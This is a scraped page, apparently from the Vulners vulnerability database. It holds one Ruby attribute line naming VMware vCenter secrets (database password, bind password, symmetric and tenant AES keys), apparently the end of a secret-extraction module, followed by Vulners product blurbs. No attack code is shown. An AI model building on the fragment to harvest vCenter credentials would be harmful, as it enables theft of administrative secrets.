attr_accessor :base_dn, :base_fqdn, :bind_dn, :bind_pw, :keystore, :shell_bind_pw, :shell_vcdb_pass, :vc_deployment_type, :vc_psc_fqdn, :vc_sym_key, :vc_sym_key_raw, :vc_tenant_aes_key, :vc_tenant_aes_key_hex, :vc_type_embedded, :vc_type_infrastructure, :vc_type_management, :vcdb_name, :vcdb_pass, :vcdb_user, :vcenter_fqdn, :vcsa_build
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation